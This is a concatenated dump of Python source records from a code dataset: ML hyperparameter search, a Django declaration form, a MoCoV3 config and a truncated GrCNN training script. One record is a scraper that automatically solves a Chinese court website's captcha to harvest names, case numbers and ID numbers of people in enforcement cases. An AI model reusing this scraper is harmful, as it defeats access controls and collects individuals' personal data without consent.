\nParallel processing is used to speed up the process. Two options for this are offered:\nThe 'samples' method means each configuration is evaluated in turn and the multiprocessing is applied at the \ntraining and testing loop, where the network is reset and evaluated n_sample times over.\nThe 'configurations' method uses multiprocessing to evaluate multiple configurations of hyperparameters at the\nsame time. This is useful for use in computer clusters thus having access to many more cores than n_samples.\nEvaluating each set of hyperparameters several times over (n_samples) ensures that the outputted mean\nerror value is representative of the hyper-parameters, as some can have high variance.\n\nHyperparmeters\nNo. hidden layers - Fixed at 2 for the FNN, 1 for the RNN.\nNo. neurons per layer - HN, H1, H2. \nActivation function - Fixed at sigmoid for the FNN, tanh for the RNN\nLearning rate - the magnitude to update weights by during back propagation\nBatch size - The number of datapoints to process before weights update\nNo. of EPOCHs - A forward and backwards pass through the dataset \n\n\"\"\"\n# Packages\nimport numpy as np \nimport copy\nimport random\nfrom scipy.stats import loguniform\nfrom datetime import datetime\nfrom joblib import Parallel, delayed\n# Modules\nfrom neural_networks import fnn_net, rnn_net \nfrom network_train_and_test_module import train_and_test_mse_only, write_to_csv, print_results\nfrom data_preprocessing import data_preprocess\n\ndef neural_network_evaluation(cfg, expt_data, cores, n_samples, network_type, parallel_type):\n \"\"\"\n ARGS: cfg: A single configuration of hyperparameters (Neuron config, Epochs, batch size, learning rate),\n expt_data: formatted and normalised training and testing data \n cores: number of cores to be used in parallel processing,\n n_samples: number of samples to average over for a given set of hyperparameters,\n network_type: either 'fnn' or 'rnn',\n parallel_type: either 'samples' or 'cnofigurations' dependent upon how to apply joblib.\n \n OUTPUTS: avg_mse: average of all the different, n_sample test mse values, \n std_mse: spread of all the different, n_sample test mse values, \n train_mse: average of all the different, n_sample training mse values, \n train_std: spread of all the different, n_sample training mse values, \n mse_vals: list of all the testing mse value (each an average of the test sets),\n Execution time.\n\n This function takes in a set of hyperparameters and evaluates them for the FNN or RNN architectures developed in the \n program. It repeats the network training and testing n_samples times over and averages this data, utilising parallel\n processing via the train_and_test() function. Averaging over n_samples is necessary to get an accurate error estimate\n since different single iterations of train_and_test() can have high variance. It is recommended for n_samples to be\n 10 to 20, parallel processing is present to help speed up the process.\n \"\"\"\n start_time = datetime.now()\n if network_type == 'fnn': \n H1 = int(cfg[0])\n H2 = int(cfg[1])\n EPOCHS = int(cfg[2])\n bs = int(cfg[3])\n lr = float(cfg[4])\n elif network_type == 'rnn':\n HL = 1\n HN = int(cfg[0])\n EPOCHS = int(cfg[1])\n bs = int(cfg[2])\n lr = float(cfg[3])\n else:\n print(\"Invalid neural network type, choose either fnn or rnn.\")\n exit(1)\n mse_vals = np.zeros(n_samples)\n training_mse_vals = [0]*n_samples\n results = [0]*n_samples\n networks = [0]*n_samples\n \n for i in range(0,n_samples):\n if network_type =='fnn':\n net = fnn_net(H1, H2)\n else:\n net = rnn_net(1, 4, 10, HN, HL) \n init_state = copy.deepcopy(net.state_dict())\n net.load_state_dict(init_state)\n networks[i] = net\n \n if parallel_type == 'samples':\n # Joblib parallelisation over the number of samples\n results[:] = Parallel(n_jobs=cores)(delayed(train_and_test_mse_only)(EPOCHS, lr, bs, expt_data, network_type, net) for net in networks)\n elif parallel_type == 'configurations':\n # Joblib parallelisation over different hyperparameter configs, occurs externally to this func\n for j in range(0,n_samples):\n results[j] = train_and_test_mse_only(EPOCHS, lr, bs, expt_data, network_type, networks[j])\n else:\n print(\"Invalid parallel processing method, choose either 'samples' or 'configurations'.\")\n exit(1)\n \n for i in range (0,n_samples):\n mse_vals[i] = results[i][0]\n training_mse_vals[i] = np.array(float(results[i][1]))\n train_mse = np.mean(training_mse_vals)\n train_std = np.std(training_mse_vals)\n avg_mse = np.mean(mse_vals)\n std_mse = np.std(mse_vals)\n end_time = datetime.now()\n\n if network_type == 'fnn':\n print('HN (%d, %d), Epochs %d, BS %d, LR %.6f, MSE (%.4f \\u00b1 %.4f), Train MSE (%.4f \\u00b1 %.4f)'% (H1, H2,\n EPOCHS, bs, lr, avg_mse, std_mse, train_mse, train_std))\n if network_type == 'rnn':\n print('HN %d, Epochs %d, BS %d, LR %.6f, MSE (%.4f \\u00b1 %.4f), Train MSE (%.4f \\u00b1 %.4f)'% (HN,\n EPOCHS, bs, lr, avg_mse, std_mse, train_mse, train_std))\n print(\"Training and testing execution time\", (end_time-start_time), \"(hrs:mins:secs)\\n\")\n return (avg_mse, std_mse, train_mse, train_std, mse_vals, (end_time-start_time))\n\n\n# # # # # MAIN # # # # \n# Random Search \n\ncores = 4\nn_samples = 10\ncombinations = 5 # number of hyperparameter configurations\nnetwork_type = 'fnn'\nparallel_type = 'samples'\n#parallel_type = 'configurations'\n\n\nHN = [(2,2),(4,2),(6,2),(8,2),(10,2), (2,4), (4,4), (6,4), (8,4), (10,4)] # FNN\n# HN = np.linspace(1,30,30) # RNN\nhyperparam_list = []\nfor i in range(0,combinations):\n hn = random.choice(HN)\n epochs = np.random.randint(low=100, high=800)\n bs = np.random.randint(low=1, high=500)\n lr = round(loguniform.rvs(10**-4, 1*(10**-1)),5)\n if network_type == 'fnn':\n hyperparam_list.append([hn[0], hn[1], epochs, bs, lr])\n elif network_type == 'rnn':\n hyperparam_list.append([hn, epochs, bs, lr])\n else:\n print(\"Invalid network type, choose either 'fnn' or 'rnn'.\")\n exit(1)\n\navg_mse_data = [0]*len(hyperparam_list)\nmse_err = [0]*len(hyperparam_list)\ntrain_mse = [0]*len(hyperparam_list)\ntrain_err = [0]*len(hyperparam_list)\nresults = [0]*len(hyperparam_list)\n\nprint(\"\\nRandom search script started for the\",network_type,\"\\n\")\nexpt_data, raw_testing_data, scaler_test = data_preprocess(network_type)\ninit_time = datetime.now()\nif parallel_type == 'configurations':\n results[:] = Parallel(n_jobs=cores)(delayed(neural_network_evaluation)(cfg,\n expt_data, cores, n_samples, network_type, parallel_type) for cfg in hyperparam_list)\n print_results(hyperparam_list, results, network_type) # in function prints are suppressed by joblib \nelif parallel_type == 'samples':\n for j in range(0,len(hyperparam_list)):\n results[j] = neural_network_evaluation(hyperparam_list[j], expt_data, cores, n_samples, network_type, parallel_type)\nelse:\n print(\"Invalid parallel processing method, choose either 'samples' or 'configurations'.\")\n exit(1)\n \nfor j in range(0,len(hyperparam_list)):\n avg_mse_data[j] = results[j][0]\n mse_err[j] = results[j][1]\n train_mse[j] = results[j][2]\n train_err[j] = results[j][3]\nfin_time = datetime.now()\nprint(\"\\nRandom search algorithm execution time:\", (fin_time-init_time), \"(hrs:mins:secs)\")\nprint(\"No. of configurations:\", len(hyperparam_list),\" samples:\",n_samples,\" cores:\",cores,\"\\n\" )\n \n# Outputting the best 8 hyperparameter sets\nsorted_indexes = np.argsort(avg_mse_data) # Returns a list of original indexes if the array were to be sorted\nif len(avg_mse_data) < 8:\n minimum_vals = len(avg_mse_data)\nelse:\n minimum_vals = 8\n \nfor i in range (0, minimum_vals):\n min_index = sorted_indexes[i]\n cfg = hyperparam_list[min_index]\n avg_mse = results[min_index][0]\n std_mse = results[min_index][1]\n train_mse = results[min_index][2]\n train_std = results[min_index][3]\n if network_type == 'fnn':\n print('%d) HN (%d, %d), Epochs %d, BS %d, LR %.6f, MSE (%.4f \\u00b1 %.4f), Train MSE (%.4f \\u00b1 %.4f)'% (i+1,\n cfg[0],cfg[1],cfg[2],cfg[3],cfg[4], avg_mse, std_mse, train_mse, train_std))\n hyperparam_names = [\"MSE\",\"std\",\"Train MSE\",\"Train std\",\"H1\",\"H2\",\"Epochs\", \"Batch Size\", \"Learning rate\"]\n if network_type == 'rnn':\n print('%d) HN %d, Epochs %d, BS %d, LR %.6f, MSE (%.4f \\u00b1 %.4f), Train MSE (%.4f \\u00b1 %.4f)'% (i+1,\n cfg[0],cfg[1],cfg[2],cfg[3], avg_mse, std_mse, train_mse, train_std))\n hyperparam_names = [\"MSE\",\"std\",\"Train MSE\",\"Train std\",\"HN\",\"Epochs\", \"Batch Size\", \"Learning rate\"]\n \nfilename = 'random_test.csv'\nwrite_to_csv(filename, results, hyperparam_list, hyperparam_names, n_samples, fin_time-init_time, cores)\n","sub_path":"Neural Network code (FNN and RNN)/ann_random_search.py","file_name":"ann_random_search.py","file_ext":"py","file_size_in_byte":9786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"38089202","text":"from django import forms\n\nfrom application.forms.childminder import ChildminderForms\nfrom application.forms_helper import full_stop_stripper\nfrom application.models import (Application)\n\n\nclass DeclarationIntroForm(ChildminderForms):\n \"\"\"\n GOV.UK form for the Declaration: guidance page\n \"\"\"\n field_label_classes = 'form-label-bold'\n error_summary_template_name = 'standard-error-summary.html'\n auto_replace_widgets = True\n\n\nclass DeclarationForm(ChildminderForms):\n \"\"\"\n GOV.UK form for the Declaration: declaration page\n \"\"\"\n field_label_classes = 'form-label-bold'\n error_summary_template_name = 'standard-error-summary.html'\n auto_replace_widgets = True\n\n share_info_declare = forms.BooleanField(label='share information with other organisations', required=True,\n error_messages={\n 'required': 'Confirm that you understand Ofsted will share information with other organisations'})\n display_contact_details_on_web = forms.BooleanField(label='display my name '\n 'and contact details '\n 'on their website so parents can find me '\n '(optional)', required=False)\n suitable_declare = forms.BooleanField(label='I am suitable to look after children', required=True,\n error_messages={\n 'required': 'Confirm that you are suitable to look after children'})\n information_correct_declare = forms.BooleanField(label='the information I have given is correct', required=True,\n error_messages={\n 'required': 'Confirm that the information you have given is correct'})\n change_declare = forms.BooleanField(label='I will tell Ofsted if this information changes', required=True,\n error_messages={\n 'required': 'Confirm that you will tell Ofsted if this information changes'})\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Method to configure the initialisation of the Declaration: declaration form\n :param args: arguments passed to the form\n :param kwargs: keyword arguments passed to the form, e.g. application ID\n \"\"\"\n self.application_id_local = kwargs.pop('id')\n super(DeclarationForm, self).__init__(*args, **kwargs)\n full_stop_stripper(self)\n # If information was previously entered, display it on the form\n if Application.objects.filter(application_id=self.application_id_local).count() > 0:\n share_info_declare = Application.objects.get(\n application_id=self.application_id_local).share_info_declare\n if share_info_declare is True:\n self.fields['share_info_declare'].initial = '1'\n elif share_info_declare is False:\n self.fields['share_info_declare'].initial = '0'\n\n display_contact_details_on_web = Application.objects.get(\n application_id=self.application_id_local).display_contact_details_on_web\n if display_contact_details_on_web is True:\n self.fields['display_contact_details_on_web'].initial = '1'\n elif display_contact_details_on_web is False:\n self.fields['display_contact_details_on_web'].initial = '0'\n\n suitable_declare = Application.objects.get(application_id=self.application_id_local).suitable_declare\n\n if suitable_declare is True:\n self.fields['suitable_declare'].initial = '1'\n elif suitable_declare is False:\n self.fields['suitable_declare'].initial = '0'\n\n information_correct_declare = Application.objects.get(\n application_id=self.application_id_local).information_correct_declare\n\n if information_correct_declare is True:\n self.fields['information_correct_declare'].initial = '1'\n elif information_correct_declare is False:\n self.fields['information_correct_declare'].initial = '0'\n\n change_declare = Application.objects.get(application_id=self.application_id_local).change_declare\n\n if change_declare is True:\n self.fields['change_declare'].initial = '1'\n elif change_declare is False:\n self.fields['change_declare'].initial = '0'\n\n\nclass DeclarationSummaryForm(ChildminderForms):\n \"\"\"\n GOV.UK form for the Confirm your details page\n \"\"\"\n field_label_classes = 'form-label-bold'\n error_summary_template_name = 'standard-error-summary.html'\n auto_replace_widgets = True\n","sub_path":"application/forms/declaration.py","file_name":"declaration.py","file_ext":"py","file_size_in_byte":4933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"293137925","text":"_base_ = [\n '../_base_/datasets/imagenet_bs512_mocov3.py',\n '../_base_/default_runtime.py',\n]\n\n# dataset settings\n# the difference between ResNet50 and ViT pipeline is the `scale` in\n# `RandomResizedCrop`, `scale=(0.08, 1.)` in ViT pipeline\nview_pipeline1 = [\n dict(\n type='RandomResizedCrop',\n scale=224,\n crop_ratio_range=(0.08, 1.),\n backend='pillow'),\n dict(\n type='RandomApply',\n transforms=[\n dict(\n type='ColorJitter',\n brightness=0.4,\n contrast=0.4,\n saturation=0.2,\n hue=0.1)\n ],\n prob=0.8),\n dict(\n type='RandomGrayscale',\n prob=0.2,\n keep_channels=True,\n channel_weights=(0.114, 0.587, 0.2989)),\n dict(\n type='GaussianBlur',\n magnitude_range=(0.1, 2.0),\n magnitude_std='inf',\n prob=1.),\n dict(type='Solarize', thr=128, prob=0.),\n dict(type='RandomFlip', prob=0.5),\n]\nview_pipeline2 = [\n dict(\n type='RandomResizedCrop',\n scale=224,\n crop_ratio_range=(0.08, 1.),\n backend='pillow'),\n dict(\n type='RandomApply',\n transforms=[\n dict(\n type='ColorJitter',\n brightness=0.4,\n contrast=0.4,\n saturation=0.2,\n hue=0.1)\n ],\n prob=0.8),\n dict(\n type='RandomGrayscale',\n prob=0.2,\n keep_channels=True,\n channel_weights=(0.114, 0.587, 0.2989)),\n dict(\n type='GaussianBlur',\n magnitude_range=(0.1, 2.0),\n magnitude_std='inf',\n prob=0.1),\n dict(type='Solarize', thr=128, prob=0.2),\n dict(type='RandomFlip', prob=0.5),\n]\n\ntrain_pipeline = [\n dict(type='LoadImageFromFile'),\n dict(\n type='MultiView',\n num_views=[1, 1],\n transforms=[view_pipeline1, view_pipeline2]),\n dict(type='PackInputs')\n]\n\ntrain_dataloader = dict(batch_size=256, dataset=dict(pipeline=train_pipeline))\n\n# model settings\ntemperature = 0.2\nmodel = dict(\n type='MoCoV3',\n base_momentum=0.01,\n backbone=dict(\n type='MoCoV3ViT',\n arch='base', # embed_dim = 768\n img_size=224,\n patch_size=16,\n stop_grad_conv1=True),\n neck=dict(\n type='NonLinearNeck',\n in_channels=768,\n hid_channels=4096,\n out_channels=256,\n num_layers=3,\n with_bias=False,\n with_last_bn=True,\n with_last_bn_affine=False,\n with_last_bias=False,\n with_avg_pool=False),\n head=dict(\n type='MoCoV3Head',\n predictor=dict(\n type='NonLinearNeck',\n in_channels=256,\n hid_channels=4096,\n out_channels=256,\n num_layers=2,\n with_bias=False,\n with_last_bn=True,\n with_last_bn_affine=False,\n with_last_bias=False,\n with_avg_pool=False),\n loss=dict(type='CrossEntropyLoss', loss_weight=2 * temperature),\n temperature=temperature))\n\n# optimizer\noptim_wrapper = dict(\n type='AmpOptimWrapper',\n loss_scale='dynamic',\n optimizer=dict(type='AdamW', lr=2.4e-3, weight_decay=0.1))\nfind_unused_parameters = True\n\n# learning rate scheduler\nparam_scheduler = [\n dict(\n type='LinearLR',\n start_factor=1e-4,\n by_epoch=True,\n begin=0,\n end=40,\n convert_to_iter_based=True),\n dict(\n type='CosineAnnealingLR',\n T_max=260,\n by_epoch=True,\n begin=40,\n end=300,\n convert_to_iter_based=True)\n]\n\n# runtime settings\ntrain_cfg = dict(type='EpochBasedTrainLoop', max_epochs=300)\n# only keeps the latest 3 checkpoints\ndefault_hooks = dict(checkpoint=dict(max_keep_ckpts=3))\n\n# NOTE: `auto_scale_lr` is for automatically scaling LR\n# based on the actual training batch size.\nauto_scale_lr = dict(base_batch_size=4096)\n","sub_path":"configs/mocov3/mocov3_vit-base-p16_16xb256-amp-coslr-300e_in1k.py","file_name":"mocov3_vit-base-p16_16xb256-amp-coslr-300e_in1k.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"98806082","text":"import requests\nfrom lxml import etree\nimport re\nimport datetime\nimport time\nimport random\nimport json\nimport csv\nimport base64, sys, ssl\nfrom requests import Session\nimport os\nimport pandas as pd\nimport qinghai_captcha_test\n\ns = requests.session()\n\ndef load_page(url, data, headers):\n\n response = s.post(url, headers=headers, data=data)# , verify = False\n\n text = response.content.decode(\"utf-8\", 'ignore')\n\n #print(text)\n return text\n \n \ndef load_page3(url, headers):\n\n response = s.get(url, headers=headers)#, verify=False\n\n text = response.content.decode(\"utf-8\", 'ignore')#utf-8\n\n #print(text)\n return text\n\n \ndef write(pt_name, rows):\n \n today = datetime.date.today()\n\n with open(r\"C:\\Users\\***\\Desktop\\%s_%s.csv\"%(pt_name, today), \"a\",\n encoding=\"utf-8-sig\", newline='') as f:\n \n writer = csv.writer(f) \n writer.writerows(rows)\n\n\ndef isyzm(num):\n \n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8)\"\n }\n \n #74785 38369 47523\n data = {\n \"tpyzm\": num\n }\n \n url = r\"http://www.qhcourt.gov.cn:8080/wsfy-ww/cpws/checkTpyzm.htm\"\n rq = json.loads(load_page(url, data, headers))\n \n return rq\n \n \ndef save_pic(path, img): \n \n with open(path, 'wb') as f: \n f.write(img)\n \n \ndef get_yzm_pic():\n \n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8)\"\n } \n \n url = r\"http://www.qhcourt.gov.cn:8080/wsfy-ww/cpws_yzm.jpg?n=0\"\n pic = s.get(url, headers=headers).content\n path = r\"C:\\Users\\***\\Desktop\\pytorch-captcha-recognition-master\\dataset\\test\\{0}.jpg\".format(1)\n save_pic(path, pic)\n #print(\"pic done\")\n \n\ndef get_yzm_num(): \n yzm = qinghai_captcha_test.main()\n return yzm\n\n \ndef write_txt(file_name, content):\n\n today = datetime.date.today() \n \n with open(r\"C:\\Users\\***\\Desktop\\%s_%s.txt\"%(file_name, today), \"a\",\n encoding=\"utf-8-sig\", newline='') as f:\n \n f.write(content)\n \n \ndef main():\n \n #每页需要新验证码\n erro_page = []\n\n for page in range(7, 8):\n \n #保存验证码图片\n get_yzm_pic()\n \n #识别验证码数字\n yzm_num = get_yzm_num()\n print(yzm_num)\n \n #post验证 \n isy = isyzm(yzm_num)\n print(isy)\n if \"验证码错误\" not in isy:\n \n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8)\"\n }\n \n url = r\"http://www.qhcourt.gov.cn:8080/wsfy-ww/fymh/3900/zxgk.htm?bzxrmc=&sxlx=&zjhm=&bzxrlx=&page={0}&yzm={1}\".format(page, yzm_num)\n \n rq = load_page3(url, headers)\n \n if \"未结执行实施案件\" in rq:\n\n selector = etree.HTML(rq)\n \n #姓名\n aa = selector.xpath(r\"//td[@class='td_data_row '][1]/div[@class='td_cell']/text()\")\n \n #案件号\n bb = selector.xpath(r\"//td[@class='td_data_row '][2]/div[@class='td_cell']/text()\")\n #print(bb)\n \n #证件号码\n cc = selector.xpath(r\"//td[@class='td_data_row '][3]/div[@class='td_cell']/text()\")\n\n pages = [page]*len(aa)\n \n print(page)\n \n rows = []\n \n for item in list(zip(aa, cc, bb, pages)):\n rows.append(item)\n \n write(\"qinghai\", rows)\n time.sleep(random.randint(1, 2))\n \n elif \"验证码错误\" in isy:\n erro_page.append(page)\n \n print(erro_page) \n\n \n \nif __name__ == '__main__':\n \n main()\n \n \n","sub_path":"spider/验证码识别_model_ocr_spider.py","file_name":"验证码识别_model_ocr_spider.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"48278755","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2014-10-14 20:04:03\n# @Author : Han Zhao (han.zhao@uwaterloo.ca)\n# @Link : https://github.com/KeiraZhao\n# @Version : $Id$\nimport os, sys\nimport numpy as np\nimport theano\nimport theano.tensor as T\nimport scipy\nimport scipy.io as sio\nimport unittest\nimport csv\nimport time\nimport cPickle\nimport copy\nimport logging\nimport traceback\nimport random\nimport argparse\n\nfrom threading import Thread\nfrom multiprocessing import Process, Pool, Queue, Manager\nfrom pprint import pprint\n\nsys.path.append('../source/')\n\nfrom rnn import BRNN, RNN\nfrom grcnn import GrCNN, GrCNNMatcher, GrCNNMatchScorer\nfrom wordvec import WordEmbedding\nfrom logistic import SoftmaxLayer, LogisticLayer\nfrom utils import floatX\nfrom config import GrCNNConfiger\n\ncharas = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\ndefault_name = ''.join([charas[np.random.randint(0, len(charas))] for _ in xrange(5)])\n# Set the basic configuration of the logging system\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n datefmt='%m-%d %H:%M:%S')\nlogger = logging.getLogger(__name__)\n\ntheano.config.openmp=True\ntheano.config.on_unused_input='ignore'\n\nparser = argparse.ArgumentParser()\ndevice_group = parser.add_mutually_exclusive_group()\ndevice_group.add_argument('-c', '--cpu', type=int, help='Specify the number of cpu kernels to be used.')\ndevice_group.add_argument('-g', '--gpu', action='store_true')\nparser.add_argument('-s', '--size', help='The size of each batch used to be trained.',\n type=int, default=200)\nparser.add_argument('-l', '--rate', help='Learning rate of AdaGrad.',\n type=float, default=1.0)\nparser.add_argument('-n', '--name', help='Name used to save the model.',\n type=str, default=default_name)\nparser.add_argument('-m', '--model', help='Model name to use as initializer.',\n type=str, default='NONE')\nparser.add_argument('config', action='store', type=str)\n\nargs = parser.parse_args()\n\nnp.random.seed(1991)\nmatching_train_filename = '../data/pair_all_sentence_train.txt'\nmatching_test_filename = '../data/pair_sentence_test.txt'\n\ntrain_pairs_txt, test_pairs_txt = [], []\n# Loading training and test pairs\nstart_time = time.time()\nwith file(matching_train_filename, 'r') as fin:\n for line in fin:\n p, q = line.split('|||')\n train_pairs_txt.append((p, q))\nwith file(matching_test_filename, 'r') as fin:\n for line in fin:\n p, q = line.split('|||')\n test_pairs_txt.append((p, q))\nend_time = time.time()\nlogger.debug('Finished loading training and test data set...')\nlogger.debug('Time used to load training and test pairs: %f seconds.' % (end_time-start_time))\nembedding_filename = '../data/wiki_embeddings.txt'\nword_embedding = WordEmbedding(embedding_filename)\nstart_time = time.time()\n# Beginning and trailing token for each sentence\nblank_token = word_embedding.wordvec('</s>')\n# Store original text representation\ntrain_size = len(train_pairs_txt)\ntest_size = len(test_pairs_txt)\nlogger.debug('Size of training pairs: %d' % train_size)\nlogger.debug('Size of test pairs: %d' % test_size)\ntrain_pairs_set, test_pairs_set = [], []\n# Build word embedding for both training and test data sets\nedim = word_embedding.embedding_dim()\n# Build training data set\nfor i, (psent, qsent) in enumerate(train_pairs_txt):\n pwords = psent.split()\n pwords = [pword.lower() for pword in pwords]\n pvectors = np.zeros((len(pwords)+2, edim), dtype=floatX)\n pvectors[0, :], pvectors[-1, :] = blank_token, blank_token\n pvectors[1:-1, :] = np.asarray([word_embedding.wordvec(pword) for pword in pwords], dtype=floatX)\n\n qwords = qsent.split()\n qwords = [qword.lower() for qword in qwords]\n qvectors = np.zeros((len(qwords)+2, edim), dtype=floatX)\n qvectors[0, :], qvectors[-1, :] = blank_token, blank_token\n qvectors[1:-1, :] = np.asarray([word_embedding.wordvec(qword) for qword in qwords], dtype=floatX)\n\n train_pairs_set.append((pvectors, qvectors))\n\nfor i, (psent, qsent) in enumerate(test_pairs_txt):\n pwords = psent.split()\n pwords = [pword.lower() for pword in pwords]\n pvectors = np.zeros((len(pwords)+2, edim), dtype=floatX)\n pvectors[0, :], pvectors[-1, :] = blank_token, blank_token\n pvectors[1:-1, :] = np.asarray([word_embedding.wordvec(pword) for pword in pwords], dtype=floatX)\n\n qwords = qsent.split()\n qwords = [qword.lower() for qword in qwords]\n qvectors = np.zeros((len(qwords)+2, edim), dtype=floatX)\n qvectors[0, :], qvectors[-1, :] = blank_token, blank_token\n qvectors[1:-1, :] = np.asarray([word_embedding.wordvec(qword) for qword in qwords], dtype=floatX)\n\n test_pairs_set.append((pvectors, qvectors))\nend_time = time.time()\nlogger.debug('Training and test data sets building finished...')\nlogger.debug('Time used to build training and test data set: %f seconds.' % (end_time-start_time))\n# Set print precision\n# np.set_printoptions(threshold=np.nan)\n# config_filename = './grCNN_ranker.conf'\nconfig_filename = args.config\nstart_time = time.time()\nconfiger = GrCNNConfiger(config_filename)\nif args.model == 'NONE':\n grcnn = GrCNNMatchScorer(configer, verbose=True)\nelse:\n grcnn = GrCNNMatchScorer.load(args.model)\nend_time = time.time()\nlogger.debug('Time used to build/load GrCNNMatchRanker: %f seconds.' % (end_time-start_time))\n# Define negative/positive sampling ratio\n# Begin training\n# Using AdaGrad learning algorithm\nlearn_rate = args.rate\nbatch_size = args.size\nfudge_factor = 1e-6\nlogger.debug('GrCNNMatchRanker.params: {}'.format(grcnn.params))\nhist_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\ninitial_params = {param.name : param.get_value(borrow=True) for param in grcnn.params}\nsio.savemat('grcnn_ranker_initial.mat', initial_params)\n# Record the highest training and test accuracy during training process\nhighest_train_accuracy, highest_test_accuracy = 0.0, 0.0\n# Check parameter size\nfor param in hist_grads:\n logger.debug('Parameter Shape: {}'.format(param.shape))\n# Fixing training and test pairs\nstart_time = time.time()\ntrain_neg_index = range(train_size)\ntest_neg_index = range(test_size)\ndef train_rand(idx):\n nidx = idx\n while nidx == idx: nidx = np.random.randint(0, train_size)\n return nidx\ndef test_rand(idx):\n nidx = idx\n while nidx == idx: nidx = np.random.randint(0, test_size)\n return nidx\ntrain_neg_index = map(train_rand, train_neg_index)\ntest_neg_index = map(test_rand, test_neg_index)\n\nend_time = time.time()\nlogger.debug('Time used to generate negative training and test pairs: %f seconds.' % (end_time-start_time))\nnum_processes = args.cpu\n\ntry: \n # Build multiple workers for parallel processing\n workers = []\n if args.cpu:\n logger.debug('ID of Global GrCNN: {}'.format(id(grcnn)))\n for z in xrange(num_processes):\n start_time = time.time()\n new_worker = GrCNNMatchScorer(configer, verbose=False)\n new_worker.deepcopy(grcnn)\n workers.append(new_worker)\n end_time = time.time()\n logger.debug('Time used to build %d th worker: %f seconds.' % (z, end_time-start_time))\n # Multi-processes for batch learning\n def parallel_process(start_idx, end_idx, worker_id):\n grads, costs, preds = [], 0.0, []\n for j in xrange(start_idx, end_idx):\n sentL, p_sentR = train_pairs_set[j]\n nj = train_neg_index[j]\n n_sentR = train_pairs_set[nj][1]\n r = workers[worker_id].compute_cost_and_gradient(sentL, p_sentR, sentL, n_sentR)\n grad, cost, score_p, score_n = r[:-3], r[-3], r[-2][0], r[-1][0]\n grads.append(grad)\n costs += cost\n preds.append(score_p >= score_n)\n return grads, costs, preds\n # Multi-processes for batch testing\n def parallel_predict(start_idx, end_idx, worker_id):\n costs, preds = 0.0, []\n for j in xrange(start_idx, end_idx):\n sentL, p_sentR = test_pairs_set[j]\n nj = test_neg_index[j]\n n_sentR = test_pairs_set[nj][1]\n score_p, score_n = workers[worker_id].show_scores(sentL, p_sentR, sentL, n_sentR)\n score_p, score_n = score_p[0], score_n[0]\n if score_p < 1+score_n: costs += 1-score_p+score_n\n preds.append(score_p >= score_n)\n return costs, preds\n\n start_time = time.time()\n for i in xrange(configer.nepoch):\n logger.debug('-' * 50)\n # Looper over training instances\n total_cost = 0.0\n total_count = 0\n total_predictions = []\n # Compute the number of batches\n num_batch = train_size / batch_size\n logger.debug('Batch size = %d' % batch_size)\n logger.debug('Total number of batches: %d' % num_batch)\n if args.gpu:\n # Start training\n total_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n hist_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n # Using GPU computation\n for j in xrange(train_size):\n if (j+1) % 10000 == 0: logger.debug('%8d @ %4d epoch' % (j+1, i))\n sentL, p_sentR = train_pairs_set[j]\n nj = train_neg_index[j]\n n_sentR = train_pairs_set[nj][1]\n # Call GrCNNMatchRanker\n r = grcnn.compute_cost_and_gradient(sentL, p_sentR, sentL, n_sentR) \n inst_grads, cost, score_p, score_n = r[:-3], r[-3], r[-2][0], r[-1][0]\n # Accumulate results\n for tot_grad, hist_grad, inst_grad in zip(total_grads, hist_grads, inst_grads):\n tot_grad += inst_grad\n hist_grad += np.square(inst_grad)\n total_cost += cost\n total_predictions.append(score_p >= score_n)\n if (j+1) % batch_size == 0 or j == train_size-1:\n # AdaGrad updating\n for tot_grad, hist_grad in zip(total_grads, hist_grads):\n tot_grad /= batch_size\n tot_grad /= fudge_factor + np.sqrt(hist_grad)\n # Check total grads\n grcnn.update_params(total_grads, learn_rate)\n total_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n hist_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n else:\n # Simulate the Map-Reduce strategy to parallelize the training process\n # Using Parallel CPU computation\n # Parallel computing inside each batch\n for j in xrange(num_batch):\n if (j * batch_size) % 10000 == 0: logger.debug('%8d @ %4d epoch' % (j*batch_size, i))\n start_idx = j * batch_size\n step = batch_size / num_processes\n # Creating Process Pool\n pool = Pool(num_processes)\n # Map\n results = []\n for k in xrange(num_processes):\n results.append(pool.apply_async(parallel_process, args=(start_idx, start_idx+step, k)))\n start_idx += step\n pool.close()\n pool.join()\n # Accumulate results\n results = [result.get() for result in results]\n total_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n hist_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n # Map-Reduce\n for result in results:\n grad, cost, pred = result[0], result[1], result[2]\n for inst_grads in grad:\n for tot_grad, hist_grad, inst_grad in zip(total_grads, hist_grads, inst_grads):\n tot_grad += inst_grad\n hist_grad += np.square(inst_grad)\n total_cost += cost\n total_predictions += pred\n # AdaGrad updating\n for tot_grad, hist_grad in zip(total_grads, hist_grads):\n tot_grad /= batch_size\n tot_grad /= fudge_factor + np.sqrt(hist_grad)\n # Compute the norm of gradients \n grcnn.update_params(total_grads, learn_rate)\n # Reduce\n for worker in workers: worker.deepcopy(grcnn)\n # Update all the rests\n if num_batch * batch_size < train_size:\n logger.debug('There are %d training instances need to be processed sequentially.' % 